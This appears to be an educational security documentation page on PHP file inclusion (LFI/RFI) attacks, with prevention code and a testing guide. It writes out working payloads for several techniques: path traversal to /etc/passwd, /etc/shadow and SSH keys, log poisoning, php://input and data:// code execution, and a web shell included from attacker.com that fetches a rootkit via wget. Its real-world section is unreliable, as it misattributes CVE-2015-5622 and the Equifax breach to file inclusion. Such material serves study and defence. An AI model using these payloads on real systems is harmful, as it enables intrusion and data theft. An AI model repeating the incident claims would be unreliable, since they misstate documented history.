Documentation

# File Inclusion (LFI/RFI): The Dynamic Loading Attack

CRITICAL SEVERITY RCE FILE ACCESS

File Inclusion Illustration
File Inclusion Illustration

File Inclusion vulnerabilities occur when applications dynamically include files based on user input without proper validation, allowing attackers to include malicious local or remote files that execute code on the server.

In One Sentence: Tricking a website into loading and running attacker-controlled files, either from the server itself (LFI) or from external sources (RFI).


# What is File Inclusion?

# In Simple Terms

Imagine a library where you can request books by number. You ask for "Book #42" and the librarian retrieves it. But what if you could request:

And the librarian blindly retrieves and reads them aloud to everyone!

In the digital world:

Web applications often use dynamic file inclusion to load different pages, templates, or modules based on user requests. If not properly secured, attackers can manipulate these requests to include files they shouldn't have access to.

# Two Types

Including existing files on the server

  • Reading configuration files, source code, system files
  • Example: Including /etc/passwd to see user accounts

Including files from external servers

  • Loading attacker's malicious code directly
  • Example: Including http://attacker.com/shell.php to gain remote shell

# Real-World Analogy: The Smart Restaurant Menu

Scenario: A restaurant with a digital menu system.

Customer: "Show me page 3 of the menu"
System includes: /menus/page3.html
Display: Desserts menu ✓
Customer: "Show me ../../kitchen/secret-recipes.txt"
System includes: /menus/../../kitchen/secret-recipes.txt
Display: Secret recipes revealed! ✗
Customer: "Show me http://attacker.com/poison.html"
System includes: http://attacker.com/poison.html
Display: Attacker's malicious content with code that steals credit cards! ✗

# How File Inclusion Attacks Work

# Local File Inclusion (LFI)

FILE DISCLOSURE

Vulnerable PHP Application:

<?php
// Vulnerable code - common in old PHP applications
$page = $_GET['page'];
include('/var/www/pages/' . $page);
?>
URL: http://website.com/index.php?page=about.php
Includes: /var/www/pages/about.php ✓
URL: http://website.com/index.php?page=../../../../etc/passwd
Includes: /var/www/pages/../../../../etc/passwd
Resolves to: /etc/passwd
Result: Displays system password file! ✗

What attackers can read:

[Linux - Config Files]
/var/www/config.php
/var/www/.env
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
[Linux - System Files]
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
[Linux - Logs]
/var/log/apache2/access.log
/var/log/nginx/access.log
[SSH Keys]
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
[Windows Files]
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\boot.ini

# Remote File Inclusion (RFI)

REMOTE CODE EXECUTION

Vulnerable PHP Configuration:

<?php
// Vulnerable code
$module = $_GET['module'];
include($module . '.php');
?>
URL: http://website.com/index.php?module=http://attacker.com/shell

Server executes:
include('http://attacker.com/shell.php');

Attacker's shell.php:
<?php system($_GET['cmd']); ?>

Result: Attacker can run any system command! ✗

Attack Flow:

Attacker hosts malicious file: http://evil.com/backdoor.php

Attacker sends: ?page=http://evil.com/backdoor.php

Victim server includes remote file

Backdoor.php executes on victim server

Attacker has remote code execution!


# Types of File Inclusion Attacks

# 1. Basic LFI

PATH TRAVERSAL

Simple path traversal to access local files:

# Access system files
?page=../../../../etc/passwd
?file=../../../../../../etc/shadow
?include=../../../../var/www/config.php

# Access log files
?page=../../../../var/log/apache/access.log

# 2. LFI with Null Byte Injection

PHP < 5.3.4

Bypassing file extension checks:

// Vulnerable code forces .php extension
$file = $_GET['file'] . '.php';
include($file);

// Normal: file=about → includes about.php ✓
?file=../../../../etc/passwd%00

# Null byte (%00) terminates string
# Result: includes /etc/passwd (ignores .php) ✗

# 3. LFI to RCE via Log Poisoning

CODE EXECUTION

Injecting PHP code into log files, then including them:

# Send HTTP request with PHP code in User-Agent
curl http://victim.com -A "<?php system($_GET['cmd']); ?>"

# Access log now contains:
192.168.1.100 - - [date] "GET / HTTP/1.1" 200 - "<?php system($_GET['cmd']); ?>"
?page=../../../../var/log/apache2/access.log&cmd=whoami

Result: Log file included, PHP code executes, runs whoami command!

Other Poisonable Files:

[Mail Logs]
/var/log/mail.log
# Inject via email subject or body
[SSH Logs]
/var/log/auth.log
# Inject via SSH username: ssh '<?php phpinfo(); ?>'@victim.com
[PHP Sessions]
/var/lib/php/sessions/sess_[SESSION_ID]
# Inject via PHP session variables

# 4. LFI via PHP Wrappers

BYPASS TECHNIQUE

Using PHP's built-in wrappers to bypass restrictions:

Read source code without executing PHP:

?page=php://filter/convert.base64-encode/resource=config.php

# Server returns base64-encoded source code
# Decode to see database passwords and secrets!

RCE via POST body:

POST /index.php?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system('whoami'); ?>

# Server executes POSTed PHP code!

RCE via data URI:

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=whoami

# Base64 decodes to: <?php system($_GET[c]); ?>
# Executes: whoami

Direct command execution:

# If expect extension enabled
?page=expect://whoami

# Directly executes system command

# 5. Basic RFI

REMOTE INCLUSION

Including remote files directly:

?page=http://attacker.com/shell.php
?module=https://evil.com/backdoor.txt
?include=ftp://attacker.com/exploit.php

Attacker's shell.php:

<?php
// Simple web shell
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Usage:

?page=http://attacker.com/shell.php&cmd=ls
?page=http://attacker.com/shell.php&cmd=cat /etc/passwd
?page=http://attacker.com/shell.php&cmd=wget http://attacker.com/rootkit.sh

# 6. RFI with Bypass Techniques

FILTER EVASION

Bypassing basic filters:

// Filter blocks http://
if (strpos($_GET['page'], 'http://') !== false) {
    die('Blocked!');
}

// Bypass techniques:
?page=htTp://attacker.com/shell.php  (case variation)
?page=http:\\\\attacker.com/shell.php  (backslashes)
?page=//attacker.com/shell.php  (protocol-relative URL)
?page=http://attacker.com/shell.txt  (.txt extension - server executes anyway)

# Real-World Examples

# Example 1: WordPress Core LFI (CVE-2015-5622)

MILLIONS AFFECTED

:icon-wordpress: Attack: Local file inclusion in wp-admin

Impact:

  • Millions of WordPress sites affected
  • Configuration file disclosure
  • Database credentials exposed
// Simplified vulnerable code
$file = $_GET['file'];
include(ABSPATH . '/wp-admin/' . $file);
/wp-admin/admin.php?file=../wp-config.php

Result: Displayed wp-config.php containing database credentials

# Example 2: Drupal RFI (2008)

MASS COMPROMISE

Attack: Remote file inclusion in module system

Impact:

  • Thousands of Drupal sites compromised
  • Mass defacement campaigns
  • Botnet recruitment

Attack:

/index.php?module=http://attacker.com/backdoor

# Example 3: PHPMailer LFI (CVE-2017-5223)

WIDESPREAD

Attack: LFI leading to RCE

Impact:

  • Used by millions of PHP applications
  • Complete server compromise possible

# Example 4: Apache Struts 2 RFI

EQUIFAX BREACH

Attack: Remote code execution via file inclusion

Impact:

  • Equifax breach (143 million records)
  • Multiple critical vulnerabilities over years

# Prevention and Mitigation

# 1. Avoid Dynamic File Inclusion

BEST PRACTICE

The best defense: Don't use user input in file paths at all.

<?php
// VULNERABLE
$page = $_GET['page'];
include($page . '.php');
?>
<?php
// SECURE - Whitelist approach
$allowed_pages = [
    'home' => 'home.php',
    'about' => 'about.php',
    'contact' => 'contact.php'
];

$page = $_GET['page'] ?? 'home';

if (!array_key_exists($page, $allowed_pages)) {
    die('Invalid page');
}

include($allowed_pages[$page]);
?>

# 2. Input Validation (Whitelist)

RECOMMENDED

Only allow expected values:

[PHP - Secure]
<?php
// Whitelist of allowed files
$allowed_files = ['home', 'about', 'contact', 'products'];

$file = $_GET['file'] ?? 'home';

// Validate against whitelist
if (!in_array($file, $allowed_files, true)) {
    http_response_code(400);
    die('Invalid file');
}

// Safe to include
include(__DIR__ . '/pages/' . $file . '.php');
?>
[Python - Secure]
# Python/Flask
from flask import Flask, request, abort, render_template

ALLOWED_TEMPLATES = {
    'home': 'home.html',
    'about': 'about.html',
    'contact': 'contact.html'
}

@app.route('/page')
def load_page():
    page = request.args.get('page', 'home')

    if page not in ALLOWED_TEMPLATES:
        abort(400, 'Invalid page')

    return render_template(ALLOWED_TEMPLATES[page])

# 3. Path Sanitization

DEFENSE IN DEPTH

If you must use filenames, sanitize them rigorously:

<?php
function sanitize_filename($filename) {
    // Remove null bytes
    $filename = str_replace(chr(0), '', $filename);

    // Remove path traversal sequences
    $filename = str_replace(['../', '..\\'], '', $filename);

    // Allow only alphanumeric, dash, underscore
    $filename = preg_replace('/[^a-zA-Z0-9_-]/', '', $filename);

    return $filename;
}

$file = sanitize_filename($_GET['file']);

// Verify file exists in allowed directory
$base_dir = '/var/www/pages/';
$full_path = realpath($base_dir . $file . '.php');

// Check if resolved path starts with base directory
if ($full_path === false || strpos($full_path, realpath($base_dir)) !== 0) {
    die('Invalid file path');
}

// Check file exists
if (!file_exists($full_path)) {
    die('File not found');
}

include($full_path);
?>

# 4. Disable Dangerous PHP Settings

CONFIGURATION

PHP configuration (php.ini):

# Disable remote file inclusion
allow_url_include = Off
allow_url_fopen = Off

# Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

# 5. Principle of Least Privilege

INFRASTRUCTURE

Limit file system permissions:

[File Permissions]
# Web server should not have read access to sensitive files
sudo chmod 600 /etc/shadow
sudo chmod 600 /var/www/config.php
sudo chmod 700 /root/.ssh/

# Web files should be owned by specific user, not root
sudo chown www-data:www-data /var/www/html -R
sudo chmod 644 /var/www/html/*.php
[SELinux]
# Restrict web server file access
setsebool -P httpd_enable_homedirs off
setsebool -P httpd_read_user_content off

# Testing for File Inclusion

# Manual Testing

TESTING GUIDE

# Test various depths
curl "http://target.com/page?file=../../../../etc/passwd"
curl "http://target.com/page?file=../../../../../../etc/passwd"

# Common target files
?file=../../../../etc/passwd
?file=../../../../var/www/html/config.php
?file=../../../../var/log/apache2/access.log
# For older PHP versions
curl "http://target.com/page?file=../../../../etc/passwd%00"
curl "http://target.com/page?file=../../../../etc/passwd%00.jpg"
# Filter wrapper
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# Input wrapper
curl -X POST "http://target.com/page?file=php://input" \
     -d "<?php system('whoami'); ?>"

# Data wrapper
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="
# Test if allow_url_include is enabled
curl "http://target.com/page?file=http://attacker.com/test.txt"

# Protocol variations
curl "http://target.com/page?file=https://attacker.com/shell.php"
curl "http://target.com/page?file=ftp://attacker.com/backdoor.php"

# Automated Tools

[ffuf]
# LFI fuzzing
ffuf -w /path/to/lfi-payloads.txt \
     -u "http://target.com/page?file=FUZZ" \
     -fc 404
[dotdotpwn]
# Automated LFI testing
dotdotpwn -m http -h target.com -x 80 \
          -f /etc/passwd -d 6 -t 200
[Kadimus]
# LFI exploitation framework
kadimus -u "http://target.com/page?file=" -A

# Options:
# -A: Auto-detection
# -C: Command execution
# -S: Shell access

# Summary: What You Need to Remember

File Inclusion vulnerabilities allow attackers to include malicious files - either local files from the server (LFI) or remote files from attacker-controlled servers (RFI) - leading to information disclosure or remote code execution.

The Simple Version:

  • What it is: Tricking the application into loading unauthorized files by manipulating file path parameters
  • Why it's dangerous: Can read sensitive files, expose source code, or execute arbitrary code (RCE)
  • How to prevent it: Use whitelists, never trust user input in file paths, disable remote inclusion

Real-World Impact:

  • :icon-wordpress: WordPress: Millions affected by LFI vulnerabilities
  • Equifax: RFI in Apache Struts led to 143M record breach
  • PHPMailer: Widespread LFI affecting millions of sites

Key Distinction:

  • LFI: Reading existing server files (configs, logs, source code)
  • RFI: Loading attacker's remote files (backdoors, shells)

# Quick Protection Checklist

For Website Owners & Developers:

DO Use whitelists - map user input to predefined safe file paths DO Validate and sanitize all file parameters DO Disable remote inclusion (allow_url_include = Off) DO Use realpath() validation to verify paths stay within allowed directories DO Remove path traversal sequences (../, .., null bytes) DO Apply least privilege - limit web server file system access DO Use framework functions that handle file inclusion securely

DON'T Use user input directly in include/require statements DON'T Trust user-supplied file paths without validation DON'T Allow remote file inclusion in production DON'T Concatenate user input with file paths DON'T Return detailed error messages that reveal file paths

For Security Testers:

TIP Test for path traversal with various depths (../, ../../, etc.) TIP Try PHP wrappers (php://filter, php://input, data://) TIP Attempt null byte injection on older systems TIP Test log poisoning for LFI to RCE escalation TIP Check if allow_url_include is enabled for RFI


# Additional Resources


Last updated: November 2025